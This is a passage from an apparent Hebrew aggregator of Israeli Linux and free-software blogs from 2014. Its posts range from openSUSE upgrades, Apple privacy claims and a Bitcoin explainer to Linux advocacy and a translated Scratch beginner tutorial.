במסמך מוזכרות טענות מפי גורמים שמתלוננים על קושי בגיוס אנשים בנושאי קוד פתוח, כנראה שהם פשוט לא חשופים לשוק כולו, כי כמעט כל סטארטאם היום משתמש בקוד פתוח ומוצא אנשים. אם הממשלה רק תטרח להצהיר על כוונותיה היא תראה אם השוק יענה על הדרישה. גם כי יש, וגם כי זה כלכלי לגופי הייעוץ והביצוע. ומצד שני מציינים כי המרכזים המרכזיים אינם כוללים סעיפים תמיכה בקוד הפתוח, דבר שלדעתי אמור היה לקבל התייחסות ממזמן.

אגב, בהערות השולים אפשר לראות כי קיים מסמך דומה משנת 2009, אך לצערי לא מצאתי אותו זמין כדי להשוות כמה השתפר המצב. זאת יכלה להיות השוואה מעניינת.


תויק תחת:Free Software in Israel, gov.il

20 November, 2014 06:31 AM

18 November, 2014

sml

OpenSUSE 13.2: טיפים וטריקים

רק שלשה מבין ששה שדרוגים שערכתי עד כה, הסתיימו ללא תקלה כלשהי. הפעם אפרט מה היו התקלות וכיצד התגברתי עליהן.

התקלה הנפוצה הייתה (ככל שהדבר ישמע מוזר) השלמה חלקית בלבד של יצירת הקרנל ו\או ה initrd החדשים. נשמע מופרך? לא בהכרח.

הטקסט המלא

18 November, 2014 07:27 PM

15 November, 2014

sml

שדרוג אופן-סוזה לגרסה 13.2

שנה עברה מאז שוחררה גרסה 13.1 של אופן-סוזה. במשך השנה הזו עודכנה הגרסה ללא הרף ושרתה אותי בנאמנות על מספר לא מבוטל של מחשבים. ובמשך כל אותו זמן גם המשכתי לעקוב (ולדווח מפעם לפעם על באגים) אחרי פתוח הגרסה הבאה; המעקב נערך על מחשב הנסיונות שהריץ את גרסת "factory" של אופן-סוזה – שזו הפצה מתגלגלת על כל סממניה; תוכנות חדישות, “מהקצה המדמם", הנשברות מפעם לפעם ודורשות עזרה ראשונה.

והנה החודש "הוקפא" המצב של "factory" ושוחרר כגרסה החדשה של אופן-סוזה – גרסה 13.2. פקטורי, בינתיים ממשיכה להתגלגל. מהם האלמנטים העיקריים של הגרסה החדשה?

הטקסט המלא

15 November, 2014 11:31 PM

29 October, 2014

Shachar Shemesh

עידן ה–SSL

לאחרונה נודע לי על חברה (דווקא ישראלית) שמנפיקה אישורי הצפנה (signed certificates) בחינם עבור שימוש לא מסחרי. מדובר באישורים הזולים ביותר (רק שם המתחם חתום, לא זהות המפעיל), אבל זה מספיק בשביל לקבל התחברויות ללא אזהרות מעצבנות. לאור עידן post Snowden, אני חושב שזה ראוי. לאור זאת, אני גאה להכריז שהבלוג שלי עכשיו זמין גם […]

The post עידן ה–SSL appeared first on לינוקס ותוכנה חופשית.

29 October, 2014 04:25 AM

23 October, 2014

Yaniv Gershoni

אשכול קישורים בנושא תלת מימד והדפסות

אשכול הקישורים הגדול

טוב, זה לא קשור ב-100% לבלנדר אבל זו "צומת גדולה" שאני חוזר אליה במהלך המסעות אז נראה לי שכדאי לשים לזה מקום קבוע שיאפשר גם עדכונים כשצריך.

ובכן, למי שלא שם לב, מתפתח לו "תחום" שקשור לתלת מימד והוא: "הדפסה תלת מימדית".
למעשה, ההדפסה בתלת מימד היתה קיימת די הרבה זמן אך העלויות היו גבוהות ורוב הציבור בעצם לא יכל להשתמש בטכנולוגיה הזו ולכן גם לא נחשף אליה כל כך.
עם הזמן ובעיקר בזכות פרוייקט Reprap האפשרות להשתמש בטכנולוגיה של ההדפסה התלת מימדית הפך לנגיש יותר ואפשר כבר היום לקנות מדפסות לבית ולעסק ואפילו לבנות כאלו במחירים סבירים.

בפוסט הזה לא אסביר על הטכנולוגיה וכו' (אולי בהמשך) אלא רק אשים קישורים לכל מה שקשור לנושא ועוד קצת תבלינים...
(דוכן לתירס על הצומת נקרא לזה)
פרטים נוספים »

הטקסט המלא

23 October, 2014 12:30 AM

21 September, 2014

Ira Abramov

האם להאמין לאפל?

בשבועות האחרונים היו לאפל שוב שתי פאשלות אדירות בנוגע לפרטיות. האחת שהיתה יותר מפורסמת אבל פחות מעניינת היא שמאות מליוני לקוחות של iThings גילו פתאום אלבום של U2 במאגר המוזיקה שלהם ולא יכלו להסיר אותו (אלא בעזרת אתר מיוחד שלבסוף נפתח לענין). השניה והיותר מפחידה היתה כשאפל התחילה לסגור ללא רחמים חשבונות אחסון ענן (ולהבנתי גם סנכרון אנשי קשר וגישה לחנות היישומונים?) שהעלו את תמונות העירום הגנובות של קייט אפטון, ג'ניפר לורנס ושאר הסלבריטאיות – שמראש נגנבו מחשבונות iCloud פרוצים בעצמן. שיטות פעולה דרקוניות מילא, אבל זה אומר שכל קובץ שאתם מכניסים לתא שלכם נסרק ונבדק, לא רק שמו וגודלו אלא תוכנו המדויק.

כדי לפזר סוכר על הגללים (סליחה, זה לא אני המצאתי, זה ביטוי אמריקני) הכריזה אפל על כך שמהיום בעצם הם שמים את הפרטיות מעל הכל. מיסד EFF ג'ון גילמור מפרט למה לא להאמין להם (מצאתי דרך בוינגבוינג), ואני מתרגם:

> > > לאפל אין דרך לפתוח את ההצפנה של המידע ב־iMessage ו־FaceTime בזמן השידור ברשת בין מכשירים. בניגוד ליישומי העברת הודעות של חברות אחרות אפל איננה סורקת את התקשורת שלכם, ולא נוכל לספק שירותי האזנה לרשויות הבטחון גם אם נקבל צו שכזה. (מתוך הצהרת הפרטיות החדשה)

ולמה אנחנו מאמינים להם?

  • כי אנחנו יכולים לקרוא את קוד התוכנה ותיאורי הפרוטוקולים בעצמינו, ולאבחן כמה הם בטוחים?
  • כי Apple חברה גדולה וחברות גדולות לא משקרות?
  • כי הם ממשו את זה בתוכנה בינארית קניינית והצפנה קניינית היא תמיד חזקה יותר ממה שהחברה טוענת שהיא?
  • כי הם לא יכולים לעדכן בעתיד בסוד את התוכנה במכשיר שלך בצורה שתבטל את כל ההבטחות שנתנו לך, באופן אישי רק לטלפון מטרה מסוים או לקבוצה שלמה?
  • כי לעולם לא תסכים לעדכן את התוכנה מרצונך, לעולם, לא משנה כמה ינדנדו לך שיש עדכונים?
  • כי הגרסא הראשונה הזו של תוכנת ההצפנה שלהם לגמרי נקיה מבאגים כך שלעולם לא תצטרך לשדרג אותה כדי לשמור על הפרטיות?
  • כי אם עדכונים עתידיים דווקא יכניסו באגים באבטחה והפרטיות, נוכל בקלות להבדיל בינם לבין כאלו שיפתרו בעיות מסוגים אלו?
  • כי אם הם ישנו את דעתם ויחליטו לדלל את מדיניות הפרטיות שלהם בשביל נוחיותם או בגלל לחץ ממשלתי סודי, הם בוודאי יודיעו לנו?
  • כי הם עבדו קשה כל השנים למנוע ממך לשדרג את התוכנה שרצה על המכשירים שלהם כדי שאתה תוכל לבחור ולשלוט במכשיר במקומם?
  • כי בירוקרטיית הייצוא של ארה"ב לעולם לא תנסה למנוע מאפל מכירה של הצפנה קניינית לשוק הפתוח שמעבר לגבולות המדינה?
  • כי מדינות שלא נתנו לבלאקברי למכור טלפונים במתקשרים בצורה מאובטחת לשרתים הארגוניים שלך, בוודאי יתנו לאפל למכור כל מכשיר בעל אבטחה גבוהה שבא לה?
  • כי אנחנו מעריצים שרופים של החברה והם לעולם לא יכולים לטעות?
  • כי הם רוצים לעזור לטרוריסטים לנצח?
  • כי ה־NSA עצבנו אותם פעם אחת ולכן הם לצד הקהל הרחב נגד ה־NSA?
  • כי תמיד עדיף לשים האזנות לאנשים אחרי ששכנעת אותם שהם מאובטחים לגמרי, כדי שישפכו את הסודות הכי כמוסים שלהם?

יש עוד איזו סיבה, אני לא מצליח לחשוב עליה כרגע…
ג'ון.

למען השלמות, אני אוסיף שגם אנדרואיד כפי שהוא מגיע מסוגר מיצרנים כמו סאמסונג ואל-ג'י, חולים באותה המחלה. כדי להיות בשליטה אמיתית ומלאה על המכשיר שלכם, צריך לעשות ניתוחי כריתת תוכנה כואבים ולהשתמש בהם באופן זהיר. אין מה לעשות.

תגים: , , , , , , , , , , , , , ,

21 September, 2014 04:18 AM

14 September, 2014

Niv Lilien

מיקרוסופט אין מובילי*

מיקרוסופט עומדת בפני פלח מחשוב חדש, שמאיים להרוס את ההגמוניה של Windows. מחשבי לוח אמרתם? לא, אני מדבר על נטבוקים. איך ההיסטוריה הקרובה חוזרת על עצמה, ופרשנות אוחרת למהלך עליו הכריזה מיקרוסופט השבוע.

Full text

14 September, 2014 06:20 PM

פתוח זה בטוח: תשובה שלי לגדי להב

השבוע פרסם גדי להב, שמונה לאחרונה לעורך "וואלה", טור בדה מרקר בדפוס וברשת, שבו הוא טוען כי הפתיחות של מערכת ההפעלה אנדרואיד הופכת אותה לפגיעה לווירוסים, ואילו המערכת המתחרה של אפל בטוחה יותר משום שהיא סגורה. אלא שהטור המבהיל שלו, מתבסס על שורה של הנחות רווחות בציבור, שברובן שגויות

Full text

14 September, 2014 06:17 PM

04 September, 2014

Arie Skliarouk

O GTalk team, where were thou? (part II)

Four full years passed since my last post on GTalk. Unfortunately I can't say much good about Google Instant Messenger efforts. It looks they would like everybody to switch from XMPP-based GTalk to proprietary protocol of Hangouts.

We saw stop of XMPP federation, wholesale upgrade of GTalk clients to Hangouts, last GTalk for Windows have been released15 months ago. Next logical step is to stop supporting XMPP altogether. What a sad day that would be..

Of the handful biggest IM providers, none supports open protocol (besides Google/XMPP yet). With 19 billions valuations the market is huge, and one would expect the fierce competition to leave no rock unturned in attracting more users. Unfortunately commercial interests prevail here.

There never was better time for an established company to embrace open-protocol platform. May be there already is? Please post in comments.

PS. Whoever is still on XMPP/Jabber/GTalk platform, uses pidgin on ubuntu 14.04 amd64 and misses "message delivery confirmation" plugin - here is a bit of solace for you: pidgin-xmpp-receipts_0.6-1_amd64.deb

04 September, 2014 10:59 AM

28 August, 2014

Ira Abramov

קריפטוכסף

ביטקוין עשה קצת רעש בחודשים האחרונים – בורסות שנפרצות, כסף שנגנב, פוליטיקאים שנלחצים… מצד אחד מדובר רק במספרים ברשת שלא מוכרים ע"י אף ממשלה, ומצד שני גם משהו מרעיש שגורם לבנק ישראל ודירקטוריונים של בנקים להבהל ממנו כמו אבולה ולשבת בלילות להבין מה לעשות איתו ונגדו.

רבות נכתב על זה, אני הייתי מאוד ספקן בהתחלה וחיכיתי שזה יתמוסס בצורה מאכזבת או יתפוצץ לאנשים בפנים. אח"כ חשבתי שזה סתם למשוגעים לעניין שרוצים "לשחק בבורסה" בלי להמר על כסף אמיתי, ובסוף כבר פחדתי להכנס כי מרוב חדשות על גנבות ופריצות אתרים (שלא לדבר על קפיצות ערך ספקולנטיות) זה לא נראה לי בכלל הגיוני לגעת בזה במקל ארוך.

אבל ככל שנוקף הזמן אני רואה שהקריפטוקוינז כאן להשאר, אז כספקן הבנתי שיש להתנסות. שיחקתי עם זה כחודש ואני אחלוק אתכם את דעתי הקטנה על הנושא. כדי ללמוד עוד על הצד הטכני (שאדבר עליו רק מעט) אפשר להתחיל באתר קריפטוביט בעברית, ומשם לכל אחד ממאות אתרים ובלוגים או ערוצי יוטיוב בשביל שפות אחרות.

אז מה הם ביטקוין וקריפטוקוינז בכלל?

מדובר בכמה טכנולוגיות מתמטיות מעניינות מתחום ההצפנה והרשתות המבוזרות שבשלו וחוברו להן יחדיו. היוצר של הקריפטוקוין הראשון והמפורסם ביטקוין נותר אלמוני, אבל מאז שוכללו השיטות ויש כרגע מאות קריפטוקוינים אחרים ברשת, למעשה קל מאוד לייצר לעצמך מטבע, לרוב זה רק חסר פואנטה כי אם אין שוק משתמשים, לא יהיה לזה ערך.

זה נכון לכל סחורה, הרי. היא שווה יותר או פחות לאנשים שונים. גם לכסף הרשמי של המדינה יש ערך רק בדמיון של המשתמשים בו. יתרה על זאת רק כ־5% מכמות הכסף היא שטרות נייר (יותר יקרים מסתם נייר אבל עדיין לא שווים את ערכם הנקוב), ומטבעות, וכל השאר מספרים שהבנקים מריצים על המחשבים שלהם. כל פעם שהבנק מלווה לך או נותן לך קרדיט מעבר ל־0, הוא למעשה יצר כסף, ולמרות שיש גבול לכמה כסף שמותר לבנק לייצר, זה כבר גרם להתמוטטיות בעבר.

אז מה שנותן לקריפטוקוין את ערכו הוא רק האמון של אנשים בבטיחות ההצפנה והשיטה. כדאי להבין אם כן במה מדובר פה. החלק הראשון והפשוט של פרוטוקול ביטקוין הם ה"ארנקים". זה מצחיק לקרוא להם ככה כי הם לא באמת מכילים כסף, הם רק כתובת שאפשר לשלוח אליה כסף. הכתובת הזו היא החלק הציבורי של זוג מתחות פרטי-ציבורי. חשוב להבין את זה שהשליחה היא חד כיוונית, אפשר לשלוח כסף לכל מפתח ציבורי חוקי (ויש מספר עצום של כאלו) ואף אחד לא צריך לשבת בצד השני וללחוץ על אישור קבלה. שלחתם כסף למספר לא נכון? כנראה שהלך הכסף. בגלל השיטה המתמטית, מאוד קשה לייצר מפתח פרטי בצורה מכוונת, כך שהמפתח הציבורי שלו יהיה זהה לזה ששלחתם אליו. אם זה היה אפשרי, כל אדם שהיה מכיר את המפתח הציבורי שלכם כבר היה יכול לגשת לכסף ש"יש בארנק" ולבצע איתו תשלומים. ושוב להבהיר – הארנק לא "מביל כסף", הוא צמד של מפתח סודי וציבורי, וסכום הכסף ש"יש בו" הוא סכום העסקאות שהתבצעו ממנו ואליו לאורך הבלוקצ'יין עד היום. זה אומר שבכל תוכנה או אתר שבהם תעלו את המפתח הפרטי, אפשר לסחור עם הסכומים של אותו הארנק, כי אין הבדל אמיתי.

וכאן אנחנו מגיעים לשאלה של ביצוע העברות הכסף. אם יש לי מפתח PGP ציבורי של מישהו, אני יכול לשלוח הודעה מוצפנת לאדם אחר, אני יכול גם לפרסם ברשת את ההודעה ורק אותו אדם יוכל לקרוא אותה. אני יכול גם לשים את זה בקובץ עם עוד הודעות אחרות וכל אחד יוכל לעבור על כל הקובץ ולקרוא רק את ההודעות המיועדות לו. עכשיו דמיינו שהקובץ הזה לא יושב על שרת אחד אלא ברשת שיתוף קבצים בסגנון ביטטורנט ותתחילו להבין עם מה אנחנו מדברים… החצי השני הוא חתימה דיגיטלית – רק מי שבידו המפתח הסודי יכול להורות על העברה בשם הארנק המדובר, וכל מי שיראה את פקודת ההעברה (כל אלפי מחזיקי הבלוקצ'יין וכוריה) יראה שזה אכן בשם בעל הארנק.

אם כך, ברשת יש קובץ שתופח ותופח (נכון להיום הבלוקצ'יין של ביטקוין הוא כ־25 גיגה והוא גדל כל הזמן) ומכיל את כל פקודות העברות הכספים (וסוגי מידע שונים, על זה בהזדמנות אחרת), הקובץ חתום ע"י המשתמשים עצמם בצורה שאפשר לוודא שהמידע שם אמין, ותהליך החתימה הלא-פשוט הזה מזכה אותך בתשלום (בביטקוינז כמובן). בקיצור יש לנו משאב מוגבל, שאי אפשר לשכפל אותו, אי אפשר להכנס איתו למינוס, מצד שני גם אי אפשר לבטל בו עיסקאות (אין גוף מרכז העברות תשלום שיכול לשלוח יד לארנק מקבל התשלום ולהחזיר משם את הכסף כמו תאגיד אשראי או בנק). מצד שני כל ארנק שמקושר לשמך כבר איננו אנונימי – מי שיסתכל על הבלוקצ'יין רואה את כל הפעולות שביצעת – כמה כסף נכנס ויצא, ממי ואל מי. שקיפות מוחלטת, ואם חיברת את מזהה הארנק לשימך, אז למעשה גם שום פרטיות (לדוגמא, הנה הארנק של התרומות לתנועה לזכויות דיגיטליות). הפעולה היחידה שמצריכה התערבות שלך היא שחרור הודעת העברת תשלום, ומרגע ששיתפת את הפקודה הזו ברשת המבוזרת, אין חזרה. אם עבדו עליך או ששלחת לכתובת שאף אחד לא מחזיק במפתח הסודי שלה – הלך הכסף.

בעיות טכניות עם הרשת הזו – אין גלגול עסקאות לאחור, ניהול ארנק מקומי משמעותו להוריד 25GB של חומר לפני שתוכל להשתתף בעולם המסחר הזה, וארנק בפיקדון אצל צד ג' (למשל אתרים כמו BlockChain או בורסות כגון קראקן) משמעו לסמוך על צד ג' כלשהוא שיחזיק אצלו את המפתח הפרטי שלך בצורה מאובטחת, למשל מוצפן בצורה שרק הדפדפן שלך יפתח אותו בצד הלקוח ולעולם לא יהיה שמור בצד השרת). אחרי כן יש את השאלה של זכירת סיסמאות (לרוב אם שכחת את הסיסמא, הלך הארנק ואיתו הכסף). ואז לבסוף שאלת המחשב הפרוץ – אם אתם משתמשים באתר כמו בלוקצ'יין ממחשב נגוע בוירוסים ורוגלות, צ'כחו מהכסף.

בעיות חוקיות – אלע"ד, אבל מדינות עכשיו יושבות ותוהות מה לעשות. בארה"ב יש מדינות שרוצות שסחר בקריפטוכסף יהיה רק למחזיקי רשיון (הצחיקו אותנו, איך אוכפים את זה?) ושטויות דומות נשמעות ממקומות אחרים. מצד אחד החלפת נכסים דיגיטליים כמוה כבארטר, ולא כל בארטר הוא חוקי בכל מדינה (המדינה רוצה מס הכנסה על הכנסות ומע"ם על עסקאות, כנ"ל מיסי מתנות/ירושות וכולי). בקיצור, שאלות פתוחות, וכאן מדובר בכסף גדול. מה זה גדול? ענק.

בעיות כלכליות – השוק הזה מאוד ספקולטיבי. היום מעט מאוד אתרים מקבלים ביטקוין, ועוד הרבה פחות מקבלים לייטקוין. בדרך יש עוד מטבעות דור שני מתוחכמים כמו נקסט ואחרים שמאפשרים טיפה יותר שליטה במערב הפרוע, שירותי אסקרו והלוואות מתוזמנות וכל מיני פיצ'רים, השאלה אם זה לא הופך את הכלכלה המתפרעת במערב (את דעותי על מחלות הקפיטליזם חפשו בפוסטים אחרים) לעוד פחות בת קיימא ועוד פחות יציבה? זו מערכת ששום יד לא מכוונת אותה מנקודות תכנון ורגולציה מרכזיות, רק שגיונותיהם של ההמונים הבלתי מאורגנים. בקיצור, בלגנים. אני כמי שדוגל בכלכלה בת קיימא, שמאפשרת עתיד חברתי ושפוי מבחינה אקולוגית, לא רואה בזה תופעה טובה, מצד שני אני גם לא חושב שניתן למנוע את התופעה או לשים אותה בזמם באינטרנט החופשי (ושאני רוצה שישאר חופשי). מבינתי זה דיסראפטור מוגזם בכוחו הפוטנציאלי, ולא חסרים הליברטריאנים דה מי קולו ששים לקפוץ על העגלה הזו (ולגנוב את הסוס). אני חבר בעמותות שמקבלות תרומות ביטקוין, אני אפילו פתחתי בבלוג עמוד תרומות בקריפטוקוין, אבל אני לא מתכוון להמיר יותר מדי כסף פיאט מהעו"ש לקריפטו ולנסות לדפוק קופה על ארביטרציות. אם אחזור להיות עצמאי, אני לא חושב שאסכים לקבל ביטקוין כתשלום. אני לא בטוח שארגונים חברתיים כמו הבר קיימא חשבו מספיק על ההשלכות כשהתחילו לקבל תשלום בביטקוין.

לסיכום – אם יש לכם הרבה אומץ ואמונה בצמיחת השוק הזה ואבטחתו, וקצת הבנה באבטחה בסיסית של סביבת העבודה שלכם, התפרעו לכם בשמחה. אם אתם מפחדים מוירוסים, לא מסתובבים עם סמארטפון או לא סומכים על עצמכם עם אבטחה וטכנולוגיה צעירה וקופצנית שכזו, אולי שווה עוד לחכות טיפה. בכל מקרה כרגע היא זמינה ונוחה רק למי שמרופד טכנולוגית ומקוון תמיד, זה לא פתרון לעולם השלישי או לאמא שלי או לרוב האנשים שאני מכיר סביבי. אני מאמין שהבארטרים האלקטרוניים האלו ישארו באיזור אבל לא יחליפו בקרוב את הכסף המסורתי. אל תעבירו לשם את הפנסיה.

תוצרים מעניינים

גם אם זה לא מחליף כסף פיאט, יש לזה שימושים מעניינים. ראשית הקונספט של הבלוקצ'יין שהולך ומתנפח לו במקביל במאות אלפי שרתים ומחשבים ורואה את ההיסטוריה בצורה אמינה ובדיוק בל ימחק, זה לא יעזוב במהירה. אנשים כבר משתמשים בטכנולוגיה כדי לחתום שם קריפטוגראפית על מידע שחשוב בו מימד ההוכחה לבעלות ובזמן, אפשר עם זה לקבוע חזקה על נכסים אינטלקטואליים (למשל קופירייט על יצירה או בעלות על נכס אלקטרוני), ליישם חלפנות מבוזרת בלי צורך באתרי "בורסה", להעביר מסרים ולאור כל אלו, מפתחים גם מטבעות יותר מתוחכמים מעל בלוקצ'יינים, מערכות "טאבו דיגיטלי", שרות שמות (DNS) מבוזר ואפילו טוויטר מבוזר. הרשימה עוד ארוכה.

תגים: , , , , , , , , , , , , , , , , , ,

28 August, 2014 07:36 AM

24 August, 2014

Doron Rainer

סדרת מדריכים: לינוקס זה לא מפחיד

שלום לכולם,

חשבתי רבות על פרוייקט נחמד שאפשר לעשות, והגעתי למסקנה שפרוייקט כמו סדרת מדריכים ללינוקס למתחילים יהיה הפרוייקט שאני הולך להשקיע בו הכי הרבה.

החלטתי שאת המדריכים שאני אכתוב בפרוייקט הזה נעשה בצורה שלא תפחיד אף אחד משימוש בלינוקס.

המדריכים הינם בעברית ולכן אני חושב שזה יקל על המשתמש המתחיל בלינוקס.


כמו כן, אפשרתי אפשרות להשאיר תגובות בדפי המדריכים השונים על מנת שאני אוכל לקבל ביקורת ולשפר ולתקן,
אשמח אם תשתפו איתי פעולה.
גם התגובות זה מקום שניתן לשאול שאלות.

אגב, שימו לב שיש כפתור בצד ימין למעלה שרשום: "לינוקס זה לא מפחיד" משמם ניתן להכנס למדריכים.

בגלל שאת הפרוייקט התחלתי לא ממזמן, לא כל הפרקים עוד קיימים, ברגע שאגיע לפרק האחרון אני אכתוב עליו. כמובן שכל פרק חדש שאני אעלה אני אכתוב פוסט על זה כאן.

כרגע ישנם 2 פרקים.

אשמח לתגובות :)

24 August, 2014 06:08 AM

23 August, 2014

Doron Rainer

אז למה אני משתמש בלינוקס ולא בווינדוס?

אחד מהשאלות הרבות שאנשים שואלים משתמשי לינוקס: למה אתם משתמשים בלינוקס? מה רע לכם בווינדוס?

הרבה אפילו נוטים להראות לך כל מיני פיצ'רים שיש בווינדוס "ואין בלינוקס". ואז אתה תופס אותם בשאלה "אתה צריך את הפיצ'ר הזה, אתה משתמש בו באמת?" ואז מגיע הגמגום.

אפילו המתחכמים, האלה שהעבודה שלהם כל הזמן במיילים והם משתמשים בOutlook: "למה אתה לא משתמש בזה? היא מנהלת לך כמו שצריך את המיילים, הכל פה מסודר, אתה רואה את כל החשבונות במקום אחד מבלי לעבור בין אתרים.", ואז פה גם אני תופס אותם בתשובות ובשאלות.
"קודם כל אין לי כל כך הרבה חשבונות מייל, יש לי חשבון אחד שאני עובד איתו, ואם יהיה לי עוד חשבון אני אישית אדאג לעשות הפרדה בין חיי האישיים לבין עבודה"
"ואני לא מבין מה צריך לשלם בשביל אופיס כשיש לך תחלופות שנותנות אותו הדבר אבל בחינם"

אז עכשיו אני אגיד את זה: לינוקס בשבילי זה נוח! אני אוהב את הצורה שהמערכת בנויה, אני אוהב שיש לי שליטה מוחלטת על כל דבר. אני אוהב שיש לי תוכנה שאני מקבל עדכונים בחינם, וכל גרסא חדשה אני לא צריך לקנות דיסק בכמעט 1000 שקל ולהתקין על המחשב.
אני לא צריך לקנות מחשב חדש כל פעם שיוצא ווינדוס חדש.

אני אוהב להסתכל על הקוד של התוכנות שאני משתמש בהם. אם אני רוצה אני אפילו תורם קוד בשביל לפתור באגים, או אפילו יש לי אפשרות לדווח כמו שצריך על באגים ואיך אני נתקל בבאג, מאשר ללחוץ על כפתור "דווח שגיאות" ולך תדע לאן זה שולח ומה זה שלח.

אני חושב שכל סביבת עבודה (גנום, KDE, E, XFCE) יותר נוחה מהווינדוס.
ממשקים מלוטשים, נקיים נוחים, והכי חשוב, לא צריך להיות גיק מחשבים בשביל להבין איפה כל דבר נמצא.

אני משתמש בגנום, הראתי לחבר שהוא לא מבין גדול במחשבים, הוא תוך 2 דקות יתמצא בכל הסביבה. (וככה צריך!)
כשמדברים על מחשבים לצורך עבודה, הבנאדם לא צריך לבזבז הרבה זמן בלהתקין דברים ולסדר את המערכת לפי איך שנוח לו. פשוט צריך להתקין מערכת עם ממשק נוח שקל להתמצא בו ולעבוד.

ולמה שיש עדכונים בוונידוס ההתקנה שלהם לא מיידית? וצריך לבצע ריסטארט למחשב על מנת שהעדכונים יותקנו?

למה כל הסיבוך הזה עם הממשק? למה הם גורמים להרגיש מפגר שיש לך כפתור גדול ולידו כפתור קטן? ולמה בתוכנות המיקום של הכפתורי שליטה (סגירה, הגדלה, מיזעור) נמצעים בכל מיני מקומות שונים ולא במקום אחיד לכולם?

למה יש את מטרו למחשבים שהן לא בעלי מסך מגע??? זה מאד לא הגיוני מה שעשו למה משתמש במחשב רגיל צריך לסבול את הGESTURES בעזרת העכבר? מה רע בממשק הרגיל שכולם מכירים, עם תפריט START כמו שצריך ובלי כל הבלאגן של המטרו.

למה תפריטים חבויים? למה לא פשוט להציג כפתור לכל התפריטים האלה?

למה הכל מסובך בווינדוס? למה? ולמה כל גרסא חדשה של הווינדוס משנים באופן משמעותי הממשק, מה כל פעם המשתמש צריך ללמוד איך לעבוד עם הוונידוס? למה זה לא יכול להשמר שנים ממשק מסויים?

נראה לי קצת חוצפה שמייקרוסופט עושים מה שבא להם ולא חושבים בכלל על המשתמש הפשוט, הזה שנכנס לאתרי חדשות, למיילים, וכותב מסמכים. מה כבר רציתי? להכנס לאנטרנט, למה זה מסובך?

23 August, 2014 05:19 PM

21 August, 2014

Hetz Ben Hemo

טאבלטים עם אנדרואיד – על יצרנים שלא שמים עליך

אנדרואיד, בכל הקשור לטאבלטים, אם להאמין למספרים שמספרים חברות כמו גארטנר, IDC ואחרות, הצליח להימכר לא רע. אני כותב "הצליח" כי כרגע השוק מוצף. בבריטניה לדוגמא, סמסונג תקועה עם מלאי רציני של טאבלטים חדשים והיא מנסה להיפטר ממנו ע"י מבצעי … להמשיך לקרוא

הטקסט המלא

21 August, 2014 10:22 PM

16 August, 2014

Yehuda Bar-Nir

מדריך למתחילים בסקראץ׳

[פוסט זה הוא תרגום של מדריך המשתמש הרשמי של Scratch. תוכלו להוריד את המדריך באנגלית מדף העזרה באתר. הזכויות למקור שמורות ל Lifelong Kindergarten Group, MIT Media Lab. מופץ ברשיון CC-BY-SA 2.0]

Scartch Cat

סקראץ׳ (Scratch) היא שפת תיכנות שמאפשרת ליצור סיפורים אינטראקטיביים, אנימציות, משחקים, מוזיקה ואומנות.

מסך לדוגמה מסקראץ׳

המדריך הזה יאפשר לכם ליצור פרויקט בסקראץ׳.

ליצירת פרויקט חדש, גשו לאתר: http://scratch.mit.edu. אם האתר נפתח באנגלית, ניתן לשנות את שפת הממשק מהתפריט בתחתית הדף. לאחר מכן, לחצו על הכפתור צור.
צור

אם יש לכם כבר חשבון בסקראץ׳, הכנסו למערכת כדי שהפריוקט שלכם ישמר.
כניסה

1 – התחילו לזוז

לבנת זוז

גררו לבנת זוז לאזור התסריטים.

לחצו על הלבנה

לחצו על הלבנה כדי לגרום לחתול לזוז.

2 – הוסיפו צלילים

לבנת נגן בתוף

גררו לבנת נגן בתוף וחברו אותה ללבנת הזוז.

לחצו והקשיבו

לחצו והקשיבו.
אם לא הצלחתם לשמוע, בדקו שהרמקול במחשב שלכם מופעל.

החלפת צלילים

תוכלו לבחור סוג אחר של תופים מהתפריט.

3 – התחילו ריקוד

הוספת לבנת זוז חדשה

הוסיפו לבנת זוז חדשה. לחצו בתוך הלבנה והוסיפו סימן מינוס.

לחצו להפעלה

לחצו על כל אחת מהלבנים כדי להריץ את כל הערמה.

לבנת נגן בתוף נוספת

הוסיפו לבנת נגן בתוף חדשה, והחליפו את סוג התוף מהתפריט. לחצו להרצה.

4 – שוב ושוב

לבנת חזור

גררו לבנת חזור והצמידו אותה לראש הערמה. הפה של לבנת החזור צריך לעטוף את שאר הלבנים.

כדי לגרור את הערמה, יש לתפוס אותה מהלבנה העליונה.

שינוי מספר החזרות

תוכלו לשנות את מספר החזרות שיבוצעו.

לחצו כדי להריץ.
אפשר ללחוץ על כל אחת מהלבנים להרצת הערמה כולה.

5 – אמרו משהו

לבנת אמור

לחצו על קטגוריית המראה וגגרו החוצה לבנת אמור.

שינוי טקסט

לחצו בתוך לבנת האמור והקלידו כדי לשנות את המילים. לחצו כדי לנסות.

חברו לראש הערמה

אחר-כך, חברו את לבנת האמור להתחלה.

6 – דגל ירוק

כאשר לוחצים על הדגל הירוק

גררו לבנת כאשר לוחצים על הדגל הירוק וחברו אותה להתחלה.

הפעלת הדגל הירוק

בכל פעם שלוחצים על הדגל הירוק, התסריט מתחיל לפעול.
להפסקה, לחצו על כפתור העצור.

7 – שנו צבע

עכשיו, נסו משהו שונה…

לבנת שנה אפקט

גררו לבנת שנה אפקט.

לחצו על לבנת שנה אפקט
לחצו כדי לראות מה קורה.

8 – לחיצה על מקשים

לבנת כאשר נלחץ מקש

חברו לבנת כאשר נלחץ מקש

עכשיו, לחצו על מקש הרווח במקלדת שלכם.

בחירת מקש

תוכלו לבחור מקש שונה מהתפריט

9 – הוסיפו רקע

תוכלו להוסיף רקע לבמה.

בחירת רקע

לחצו כפתור רקע כדי לבחור רקע חדש.

בחרו רקע מהספריה (למשל "spotlight-stage").

ספרית הרקעים

לחצו אישור.

הרקע החדש מופיע כעת על הבמה.

הרקע החדש

10 – הוסיפו דמות

כל אוביקט (משתתף) בסקראץ׳ נקרא דמות.
להוספת דמות חדשה, לחצו על אחד הכפתורים האלה:

כפתורי הוספת דמות

כפתורי הוספת דמות:

דמות מהספריה בחרו דמות מהספריה

צייר דמות ציירו דמות משלכם

דמות מקובץ העלו דמות/תמונה מקובץ

דמות ממצלמת רשת צלמו תמונה (ממצלמת רשת)

כדי להוסיף את הדמות הזאת:
קייסי רוקדת
לחצו על דמות מהספריה ואז לחצו על קטגורית אנשים ובחרו את הדמות "cassy dance" (קייסי רוקדת).

תוכלו לגרור את הדמויות ולמקם אותן על הבמה.
גררו את הדמות

11 – חקרו!

עכשיו תוכלו להגיד לדמות מה לעשות. נסו את האפשרויות הבאות או חקרו בעצמכם.

הוסיפו צליל:
צלילים

